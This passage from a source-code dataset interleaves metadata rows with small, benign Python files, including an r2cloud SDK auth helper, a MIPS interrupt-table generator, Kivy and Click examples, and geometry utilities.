| 40.285223 | 79 | 0.579459 | 1,508 | 11,723 | 4.42374 | 0.161141 | 0.028332 | 0.022485 | 0.029381 | 0.747414 | 0.705741 | 0.6921 | 0.6921 | 0.663019 | 0.663019 | 0 | 0.040707 | 0.333618 | 11,723 | 290 | 80 | 40.424138 | 0.813236 | 0.3047 | 0 | 0.528302 | 0 | 0 | 0.051731 | 0.024747 | 0 | 0 | 0 | 0 | 0.08805 | 1 | 0.069182 | false | 0.176101 | 0.062893 | 0.006289 | 0.144654 | 0.006289 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
344045b6f807beeee5b6164c6e47ca93c4b6f0be | 837 | py | Python | r2cloud/auth.py | Lukas0025/r2cloud-python-sdk | 22539b7cff4d7e09b5cc1291add677a9ebacf6da | [
"Apache-2.0"
] | null | null | null | r2cloud/auth.py | Lukas0025/r2cloud-python-sdk | 22539b7cff4d7e09b5cc1291add677a9ebacf6da | [
"Apache-2.0"
] | null | null | null | r2cloud/auth.py | Lukas0025/r2cloud-python-sdk | 22539b7cff4d7e09b5cc1291add677a9ebacf6da | [
"Apache-2.0"
] | null | null | null | #!/bin/env python
## tle file for r2cloud SDK
# @author Lukáš Plevač <lukasplevac@gmail.com>
# @date 9.9.2020
import time
class auth:
## init function
# @param object self - instance of class
# @param dict auth_dict - dict of auth
def __init__(self, auth_dict):
self.token_type = auth_dict['token_type']
self.access_token = auth_dict['access_token']
self.expires_in = time.time() + auth_dict['expires_in'] - 10
## generate header with auth token
# @param self
# @return dict
def headers(self):
return {
'Authorization': self.token_type + ' ' + self.access_token
}
## is auth valid
# @param self
# @return bool (is valid - not expirated)
def isValid(self):
return time.time() < self.expires_in | 28.862069 | 70 | 0.602151 | 106 | 837 | 4.584906 | 0.45283 | 0.082305 | 0.053498 | 0.078189 | 0.098765 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015177 | 0.291517 | 837 | 29 | 71 | 28.862069 | 0.804384 | 0.409797 | 0 | 0 | 0 | 0 | 0.096234 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.083333 | 0.166667 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
345e922f08611898b3ac561b10e1e4d11726e99b | 386 | py | Python | mips-rt/native_lib/gen_isr_table.py | MikuroXina/pic32mx470-rs-hello-world | 28ef92a33db13345ce40f2a31089023f082e10bd | [
"MIT"
] | 1 | 2020-03-04T21:02:32.000Z | 2020-03-04T21:02:32.000Z | mips-rt/native_lib/gen_isr_table.py | MikuroXina/pic32mx470-rs-hello-world | 28ef92a33db13345ce40f2a31089023f082e10bd | [
"MIT"
] | null | null | null | mips-rt/native_lib/gen_isr_table.py | MikuroXina/pic32mx470-rs-hello-world | 28ef92a33db13345ce40f2a31089023f082e10bd | [
"MIT"
] | 2 | 2020-03-04T21:02:45.000Z | 2020-07-11T16:58:31.000Z | #!/usr/bin/python3
#
# generate ISR table
#
vect_fmt = '''\
# vector {0}
.weak _vector_{0}_fn, _vector_{0}_j
_vector_{0}_fn = _default_isr_fn
_vector_{0}_context = _isr_context
.section .vector_{0}, "ax"
.ent _vector_{0}
_vector_{0}:
la k0,_vector_{0}_fn
j _vector_{0}_context
nop
.end _vector_{0}
'''
for i in range(0, 64):
print(vect_fmt.format(i))
| 16.782609 | 35 | 0.642487 | 61 | 386 | 3.540984 | 0.47541 | 0.356481 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05178 | 0.199482 | 386 | 22 | 36 | 17.545455 | 0.647249 | 0.093264 | 0 | 0 | 1 | 0 | 0.774566 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.066667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
34674ac68d2e81a558c7f01008b5526756544441 | 3,467 | py | Python | py/faint/image.py | lukas-ke/faint-graphics-editor | 33eb9e6a3f2216fb2cf6ef9709a14f3d20b78fbf | [
"Apache-2.0"
] | 10 | 2016-12-28T22:06:31.000Z | 2021-05-24T13:42:30.000Z | py/faint/image.py | lukas-ke/faint-graphics-editor | 33eb9e6a3f2216fb2cf6ef9709a14f3d20b78fbf | [
"Apache-2.0"
] | 4 | 2015-10-09T23:55:10.000Z | 2020-04-04T08:09:22.000Z | py/faint/image.py | lukas-ke/faint-graphics-editor | 33eb9e6a3f2216fb2cf6ef9709a14f3d20b78fbf | [
"Apache-2.0"
] | null | null | null | import ifaint
class FakeGrid:
anchor = 0, 0
color = 255, 255, 255
dashed = False
enabled = False
spacing = 40
class Pimage:
"""Experimental Image implementation in Python.
If this works out, I'll rename it as Image, and remove the
C++-implementation py-image.cpp.
"""
def __init__(self, w, h):
self.w = w
self.h = h
self.objects = []
self.background = None
def Rect(self, *args):
sh = ifaint.create_Rect(*args)
self.objects.append(sh)
return sh
def Ellipse(self, *args):
sh = ifaint.create_Ellipse(*args)
self.objects.append(sh)
return sh
def Polygon(self, *args):
sh = ifaint.create_Polygon(*args)
self.objects.append(sh)
return sh
def Raster(self, *args):
sh = ifaint.create_Raster(*args)
self.objects.append(sh)
return sh
def Spline(self, *args):
sh = ifaint.create_Spline(*args)
self.objects.append(sh)
return sh
def Text(self, *args):
sh = ifaint.create_Text(*args)
self.objects.append(sh)
return sh
def get_obj_text_height(self, *args):
return 10.0 # Fixme
def Group(self, *args):
sh = ifaint.create_Group(*args)
self.objects.append(sh)
return sh
def Line(self, *args):
sh = ifaint.create_Line(*args)
self.objects.append(sh)
return sh
def Path(self, *args):
sh = ifaint.create_Path(*args)
self.objects.append(sh)
return sh
def get_obj_tri(self, obj):
"""For compatibility with FrameProps"""
return obj.get_tri()
def set_obj_tri(self, obj, tri):
"""For compatibility with FrameProps"""
obj.set_tri(tri)
def set_obj_name(self, obj, name):
obj.name = name
def get_size(self):
return self.w, self.h
def get_pixel(self, x, y):
return (255, 255, 255) # Fixme
def get_objects(self):
return self.objects
def _one_color_bg(self):
return True # Fixme
def add_warning(self, w):
"""For compatibility with FrameProps"""
pass
def save_backup(self, path):
ifaint.write_png(self.background, path)
def flatten(self):
if self.background is None:
self.background = ifaint.Bitmap((self.w, self.h))
self.background.draw_objects(self.objects)
self.objects = []
class PimageList:
"""List of frames in Python."""
def __init__(self):
self.frames = []
def add_frame(self, size):
frame = Pimage(size[0], size[1])
self.frames.append(frame)
return frame
def get_size(self):
return self.frames[0].get_size()
def get_frames(self):
return self.frames
def get_frame(self, num=0):
return self.frames[num]
def _one_color_bg(self):
return True # Fixme
def get_pixel(self, *args):
return self.frames[0].get_pixel(*args)
def get_objects(self):
return self.frames[0].get_objects()
def get_calibration(self):
return None
grid = FakeGrid()
def one_color_bg(obj):
try:
return obj._one_color_bg()
except AttributeError:
return ifaint._one_color_bg(obj)
| 23.268456 | 63 | 0.564177 | 436 | 3,467 | 4.350917 | 0.224771 | 0.075382 | 0.047443 | 0.075909 | 0.383764 | 0.268846 | 0.204533 | 0.204533 | 0.079072 | 0.042172 | 0 | 0.013333 | 0.329391 | 3,467 | 148 | 64 | 23.425676 | 0.802581 | 0.083646 | 0 | 0.277228 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006757 | 0 | 1 | 0.306931 | false | 0.009901 | 0.009901 | 0.118812 | 0.653465 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
cab6c8d8ca6e59ca96641958c8f303e7d2e0cead | 434 | py | Python | backend_sqlalchemy/backend_app/resources/stats.py | jiz148/medical_app | 2f8b3f299ff6a87e62ac7483b6d2bac156a08874 | [
"MIT"
] | null | null | null | backend_sqlalchemy/backend_app/resources/stats.py | jiz148/medical_app | 2f8b3f299ff6a87e62ac7483b6d2bac156a08874 | [
"MIT"
] | null | null | null | backend_sqlalchemy/backend_app/resources/stats.py | jiz148/medical_app | 2f8b3f299ff6a87e62ac7483b6d2bac156a08874 | [
"MIT"
] | null | null | null | from backend_sqlalchemy.backend_app.models.diseases import DiseasesModel
from backend_sqlalchemy.backend_app.db import db
from backend_sqlalchemy.backend_app.models.stats import StatsModel
def get_stats():
"""
Get stats
"""
all_stats = db.session.query(StatsModel.DID, StatsModel.FID, StatsModel.Sen)
g_stats = {}
for stat in all_stats:
g_stats[(stat.DID, stat.FID)] = stat.Sen
print(g_stats)
| 24.111111 | 80 | 0.728111 | 60 | 434 | 5.066667 | 0.4 | 0.108553 | 0.207237 | 0.276316 | 0.345395 | 0.243421 | 0 | 0 | 0 | 0 | 0 | 0 | 0.175115 | 434 | 17 | 81 | 25.529412 | 0.849162 | 0.020737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.444444 | 0.111111 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
1b11dd7f020db59bea173f520097d51262b0c2fe | 66 | py | Python | Problems/A complex expression/task.py | gabrielizalo/jetbrains-academy-zookeeper | 467b43da3cb81f82987daf6b063eb2078d476d4f | [
"MIT"
] | null | null | null | Problems/A complex expression/task.py | gabrielizalo/jetbrains-academy-zookeeper | 467b43da3cb81f82987daf6b063eb2078d476d4f | [
"MIT"
] | null | null | null | Problems/A complex expression/task.py | gabrielizalo/jetbrains-academy-zookeeper | 467b43da3cb81f82987daf6b063eb2078d476d4f | [
"MIT"
] | null | null | null | n = int(input())
new_n = ((((n * 2) * n) - n) // n)
print(new_n)
| 13.2 | 34 | 0.439394 | 13 | 66 | 2.076923 | 0.461538 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02 | 0.242424 | 66 | 4 | 35 | 16.5 | 0.52 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1b61c820e0f0f7acfbc1fcc581af507b2141814b | 421 | py | Python | reverse.py | Estheryu991/CodinGamez | e653a891792278d7d6961194aa831cf447d3aba7 | [
"MIT"
] | null | null | null | reverse.py | Estheryu991/CodinGamez | e653a891792278d7d6961194aa831cf447d3aba7 | [
"MIT"
] | null | null | null | reverse.py | Estheryu991/CodinGamez | e653a891792278d7d6961194aa831cf447d3aba7 | [
"MIT"
] | null | null | null | # The game mode is REVERSE: You do not have access to the statement. You have to guess what to do by observing the following set of tests:
# 01 Test 1
# Input
# Expected output
# +-+--+-+++--+
# 1
# 02 Test 2
# Input
# Expected output
# +++++++---
# 4
# 03 Test 3
# Input
# Expected output
# -+-+-+-+-+-+
# 0
# 04 Test 4
# Input
# Expected output
# ------------++----+
# -13
s = input()
print(s.count("+")-s.count("-"))
| 16.84 | 138 | 0.567696 | 62 | 421 | 3.854839 | 0.596774 | 0.217573 | 0.317992 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050595 | 0.2019 | 421 | 24 | 139 | 17.541667 | 0.660714 | 0.788599 | 0 | 0 | 0 | 0 | 0.029851 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
1b667310870a44c3110e0f14c6b16c80d33dbbc0 | 640 | py | Python | routeutils/Utils/utils.py | techlabklabin/route-utils | 4c34eb955e8a06b6fe4177803e8ea87ea76e6318 | [
"MIT"
] | null | null | null | routeutils/Utils/utils.py | techlabklabin/route-utils | 4c34eb955e8a06b6fe4177803e8ea87ea76e6318 | [
"MIT"
] | null | null | null | routeutils/Utils/utils.py | techlabklabin/route-utils | 4c34eb955e8a06b6fe4177803e8ea87ea76e6318 | [
"MIT"
] | null | null | null | import geopy.distance
from math import degrees
import numpy as np
def makeNewPoint(geoJsonPoint):
return (geoJsonPoint[1], geoJsonPoint[0])
def makeVector(pointA, pointB):
return [pointB[0] - pointA[0], pointB[1] - pointA[1]]
def distanceMeteres(point1, point2):
return geopy.distance.geodesic(point1, point2).km * 1000
def angleBetweenVectors(vector1, vector2):
unit_vector_1 = vector1 / np.linalg.norm(vector1)
unit_vector_2 = vector2 / np.linalg.norm(vector2)
dot_product = np.dot(unit_vector_1, unit_vector_2)
angle = np.arccos(dot_product)
angleDegress = degrees(angle)
return angleDegress
| 29.090909 | 60 | 0.734375 | 84 | 640 | 5.47619 | 0.440476 | 0.086957 | 0.047826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044693 | 0.160938 | 640 | 21 | 61 | 30.47619 | 0.811918 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.1875 | 0.1875 | 0.6875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
1b68b03021b7cfc25678f107534b55b999e11055 | 657 | py | Python | ansible_self_service/l3_services/app.py | ansible-self-service/ansible-self-service | 80840f02b68c6ba5fe6c55ab9a317b310c185b4d | [
"MIT"
] | null | null | null | ansible_self_service/l3_services/app.py | ansible-self-service/ansible-self-service | 80840f02b68c6ba5fe6c55ab9a317b310c185b4d | [
"MIT"
] | null | null | null | ansible_self_service/l3_services/app.py | ansible-self-service/ansible-self-service | 80840f02b68c6ba5fe6c55ab9a317b310c185b4d | [
"MIT"
] | null | null | null | from typing import List
from ansible_self_service.l3_services.dto import AppCollection, App
from ansible_self_service.l4_core.models import AppCatalog
class AppService:
"""Provide an interface to app related features."""
def __init__(self, app_catalog: AppCatalog):
self._app_catalog = app_catalog
def get_apps_for_collection(self, app_collection: AppCollection) -> List[App]:
"""Return a list of apps for a collection."""
domain_collection = self._app_catalog.get_collection_by_name(app_collection.name)
return [App.from_domain(app_collection, domain_app) for domain_app in domain_collection.apps.values()]
| 38.647059 | 110 | 0.765601 | 90 | 657 | 5.255556 | 0.433333 | 0.059197 | 0.088795 | 0.093023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003604 | 0.155251 | 657 | 16 | 111 | 41.0625 | 0.848649 | 0.129376 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.333333 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
1b96072783b482fa73746dbf9752bb1b1b75453f | 197 | py | Python | ProjectsWithKivy/Projects with Kivy/1. Kivy Layouts/6. PageLayout/pagelayout.py | markgacoka/micro-projects | e8115c8270a115282e7dfda6e24620b3333f8c6b | [
"MIT"
] | null | null | null | ProjectsWithKivy/Projects with Kivy/1. Kivy Layouts/6. PageLayout/pagelayout.py | markgacoka/micro-projects | e8115c8270a115282e7dfda6e24620b3333f8c6b | [
"MIT"
] | null | null | null | ProjectsWithKivy/Projects with Kivy/1. Kivy Layouts/6. PageLayout/pagelayout.py | markgacoka/micro-projects | e8115c8270a115282e7dfda6e24620b3333f8c6b | [
"MIT"
] | null | null | null | import kivy
from kivy.app import App
from kivy.uix.pagelayout import PageLayout
class PageLayoutApp(App):
def build(self):
return PageLayout()
if __name__ == '__main__':
PageLayoutApp().run() | 19.7 | 42 | 0.761421 | 26 | 197 | 5.461538 | 0.615385 | 0.112676 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.13198 | 197 | 10 | 43 | 19.7 | 0.830409 | 0 | 0 | 0 | 0 | 0 | 0.040404 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.375 | 0.125 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 3 |
1b9679ab1f843bbdf20a721c6df2300c3a1bbd49 | 5,988 | py | Python | vscvs/cli/train/optimizers.py | fcoclavero/vscvs | 27fab0bc62fb68da044cf6f2516e3c1853f77533 | [
"MIT"
] | 1 | 2019-07-02T19:07:15.000Z | 2019-07-02T19:07:15.000Z | vscvs/cli/train/optimizers.py | fcoclavero/vscvs | 27fab0bc62fb68da044cf6f2516e3c1853f77533 | [
"MIT"
] | 2 | 2019-10-23T18:05:37.000Z | 2020-09-25T14:16:25.000Z | vscvs/cli/train/optimizers.py | fcoclavero/vscvs | 27fab0bc62fb68da044cf6f2516e3c1853f77533 | [
"MIT"
] | null | null | null | __author__ = ["Francisco Clavero"]
__description__ = "Click groups for different optimizers."
__email__ = ["fcoclavero32@gmail.com"]
__status__ = "Prototype"
import click
from vscvs.cli.decorators import pass_kwargs_to_context
from vscvs.trainers.mixins import (
AdaBoundOptimizerMixin,
AdamOptimizerMixin,
AdamWOptimizerMixin,
RMSpropOptimizerMixin,
SGDOptimizerMixin,
)
# noinspection DuplicatedCode
@click.group()
@click.option(
"--learning-rate",
prompt="Learning rate",
help="Learning rate for the optimizer",
default=1e-3,
)
@click.option(
"--beta-1",
prompt="Beta 1",
default=0.9,
help="First coefficient used for computing running averages of gradient and its square.",
)
@click.option(
"--beta-2",
prompt="Beta 2",
default=0.999,
help="Second coefficient used for computing running averages of gradient and its square.",
)
@click.option(
"--final-learning-rate",
prompt="Final learning rate",
help="Final (SGD) learning rate.",
default=0.1,
)
@click.option(
"--gamma",
prompt="Gamma",
help="Convergence speed of the bound functions.",
default=1e-3,
)
@click.option(
"--epsilon",
prompt="Epsilon",
default=1e-8,
help="Term added to the denominator to improve numerical stability .",
)
@click.option(
"--weight-decay",
prompt="Weight decay",
default=0.0,
help="Weight decay (L2 penalty).",
)
@click.option(
"--amsbound",
prompt="AmsBound",
default=False,
help="Whether to use the AMSBound variant.",
)
@pass_kwargs_to_context
def adabound(context: click.Context, *_, **__) -> None:
"""Train models using an AdaBound optimizer."""
context.obj["betas"] = (context.obj.pop("beta_1"), context.obj.pop("beta_2"))
context.obj["optimizer_mixin"] = AdaBoundOptimizerMixin
# noinspection DuplicatedCode
@click.group()
@click.option(
"--learning-rate",
prompt="Learning rate",
help="Learning rate for the optimizer",
default=1e-3,
)
@click.option(
"--beta-1",
prompt="Beta 1",
default=0.9,
help="First coefficient used for computing running averages of gradient and its square.",
)
@click.option(
"--beta-2",
prompt="Beta 2",
default=0.999,
help="Second coefficient used for computing running averages of gradient and its square.",
)
@click.option(
"--epsilon",
prompt="Epsilon",
default=1e-8,
help="Term added to the denominator to improve numerical stability .",
)
@click.option(
"--weight-decay",
prompt="Weight decay",
default=0.0,
help="Weight decay (L2 penalty).",
)
@click.option(
"--amsgrad",
prompt="Amsgrad",
default=False,
help="Whether to use the AMSGrad variant.",
)
@pass_kwargs_to_context
def adam(context: click.Context, *_, **__) -> None:
"""Train models using an Adam optimizer."""
context.obj["betas"] = (context.obj.pop("beta_1"), context.obj.pop("beta_2"))
context.obj["optimizer_mixin"] = AdamOptimizerMixin
# noinspection DuplicatedCode
@click.group()
@click.option(
"--learning-rate",
prompt="Learning rate",
help="Learning rate for the optimizer",
default=1e-3,
)
@click.option(
"--beta-1",
prompt="Beta 1",
default=0.9,
help="First coefficient used for computing running averages of gradient and its square.",
)
@click.option(
"--beta-2",
prompt="Beta 2",
default=0.999,
help="Second coefficient used for computing running averages of gradient and its square.",
)
@click.option(
"--epsilon",
prompt="Epsilon",
default=1e-8,
help="Term added to the denominator to improve numerical stability .",
)
@click.option(
"--weight-decay",
prompt="Weight decay",
default=0.0,
help="Weight decay (L2 penalty).",
)
@click.option(
"--amsgrad",
prompt="Amsgrad",
default=False,
help="Whether to use the AMSGrad variant.",
)
@pass_kwargs_to_context
def adam_w(context: click.Context, *_, **__) -> None:
"""Train models using an AdamW optimizer."""
context.obj["betas"] = (context.obj.pop("beta_1"), context.obj.pop("beta_2"))
context.obj["optimizer_mixin"] = AdamWOptimizerMixin
# noinspection DuplicatedCode
@click.group()
@click.option(
"--learning-rate",
prompt="Learning rate",
help="Learning rate for the optimizer",
default=1e-3,
)
@click.option("--alpha", prompt="Alpha", default=0.99, help="Smoothing constant.")
@click.option(
"--epsilon",
prompt="Epsilon",
default=1e-8,
help="Term added to the denominator to improve numerical stability .",
)
@click.option(
"--weight-decay",
prompt="Weight decay",
default=0.0,
help="Weight decay (L2 penalty).",
)
@click.option("--momentum", prompt="Momentum", help="Momentum factor.", default=0.0)
@click.option(
"--centered",
prompt="Amsgrad",
default=False,
help=(
"whether to compute the centered RMSProp "
"(gradient normalized by an estimation of its variance)."
),
)
@pass_kwargs_to_context
def rms_prop(context: click.Context, *_, **__) -> None:
"""Train models using an RMSProp optimizer."""
context.obj["optimizer_mixin"] = RMSpropOptimizerMixin
# noinspection DuplicatedCode
@click.group()
@click.option(
"--learning-rate",
prompt="Learning rate",
help="Learning rate for the optimizer",
default=1e-3,
)
@click.option(
"--momentum",
prompt="Momentum",
help="Momentum parameter for SGD optimizer.",
default=0.2,
)
@click.option(
"--weight-decay",
prompt="Weight decay",
default=0.0,
help="Weight decay (L2 penalty).",
)
@click.option(
"--dampening", prompt="Dampening", default=0.0, help="Momentum dampening."
)
@click.option(
"--nesterov", prompt="Nesterov", default=False, help="Enable Nesterov momentum."
)
@pass_kwargs_to_context
def sgd(context: click.Context, *_, **__) -> None:
"""Train models using an SGD optimizer."""
context.obj["optimizer_mixin"] = SGDOptimizerMixin
| 25.699571 | 94 | 0.665832 | 721 | 5,988 | 5.443828 | 0.166436 | 0.086879 | 0.016051 | 0.029045 | 0.767898 | 0.737325 | 0.729936 | 0.695032 | 0.642803 | 0.642803 | 0 | 0.017115 | 0.180361 | 5,988 | 232 | 95 | 25.810345 | 0.7826 | 0.056279 | 0 | 0.641148 | 0 | 0 | 0.398684 | 0.00765 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023923 | false | 0.028708 | 0.014354 | 0 | 0.038278 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1babd018b5acfa8405f4fb134a0f5ed8ad34f2f2 | 49 | py | Python | custom_token.py | Great-Li-Xin/dumb-chatbot | fdf237d7e0c493eb69cbe712b50158f221ccaf0c | [
"MIT"
] | 222 | 2018-01-31T02:06:18.000Z | 2020-12-09T08:08:02.000Z | custom_token.py | kevinmel2000/dumb-chatbot | f9ec825997ee45863bb301a9355532bfb09a7cb9 | [
"MIT"
] | 1 | 2022-03-15T05:42:01.000Z | 2022-03-15T05:42:01.000Z | custom_token.py | realJustinLee/dumb-chatbot | 1c67aa3d92913360564b746758820bee310bc06f | [
"MIT"
] | 20 | 2018-04-05T18:10:00.000Z | 2020-07-31T09:40:14.000Z | # TOKEN
PAD_token = 0
GO_token = 1
EOS_token = 2
| 9.8 | 13 | 0.693878 | 10 | 49 | 3.1 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078947 | 0.22449 | 49 | 4 | 14 | 12.25 | 0.736842 | 0.102041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1bc2a0247712998d72a20f9bf18750c0caf78715 | 247 | py | Python | S18/hw2/homework2part2.py | stanleylio/OCN318 | 98f0329ea38ddd4ed2966f8f845a0bb29e71b923 | [
"MIT"
] | 1 | 2018-03-05T23:33:59.000Z | 2018-03-05T23:33:59.000Z | S18/hw2/homework2part2.py | stanleylio/OCN318 | 98f0329ea38ddd4ed2966f8f845a0bb29e71b923 | [
"MIT"
] | null | null | null | S18/hw2/homework2part2.py | stanleylio/OCN318 | 98f0329ea38ddd4ed2966f8f845a0bb29e71b923 | [
"MIT"
] | null | null | null | # The goal: Extract the first four columns from serial_log.txt and place them in output1.csv
#
# Hint: to join a list of strings into one string, use the .join() function:
# ','.join(['256', '24.525', '103.70'])
# yields
# '256,24.525,103.70'
| 35.285714 | 92 | 0.668016 | 43 | 247 | 3.813953 | 0.790698 | 0.060976 | 0.097561 | 0.134146 | 0.158537 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132353 | 0.174089 | 247 | 6 | 93 | 41.166667 | 0.671569 | 0.947368 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
59f5db8231e7b5f35e36a4f3a192c0a0e3556e9c | 252 | py | Python | app/__init__.py | ethpch/api.ethpch | af56354a7e8f5304a5c86dd752577da376f1f1ce | [
"MIT"
] | 2 | 2021-09-23T14:43:10.000Z | 2021-09-26T12:01:11.000Z | app/__init__.py | ethpch/api.ethpch | af56354a7e8f5304a5c86dd752577da376f1f1ce | [
"MIT"
] | null | null | null | app/__init__.py | ethpch/api.ethpch | af56354a7e8f5304a5c86dd752577da376f1f1ce | [
"MIT"
] | null | null | null | from .base import APP
from utils.config import apps
if 'pixiv' in apps:
from .pixiv import pixiv_router
APP.include_router(pixiv_router)
if 'shorturl' in apps:
from .shorturl import shorturl_router
APP.include_router(shorturl_router)
| 22.909091 | 41 | 0.761905 | 37 | 252 | 5.027027 | 0.351351 | 0.064516 | 0.107527 | 0.236559 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174603 | 252 | 10 | 42 | 25.2 | 0.894231 | 0 | 0 | 0 | 0 | 0 | 0.051587 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
94138d3730f1e927ee57027157b082e4aa899444 | 85 | py | Python | djadmin/ngapp/apps.py | gnud/django-angular-lte-admin | b4bed527aa25184e17deb31eb5987b209dfd9253 | [
"MIT"
] | 3 | 2019-03-07T06:11:05.000Z | 2019-05-24T13:53:17.000Z | djadmin/ngapp/apps.py | gnud/damjan-dimitrioski.com | 6c9cb215ec0878eeb1ed5e1359bb1bd07f774476 | [
"MIT"
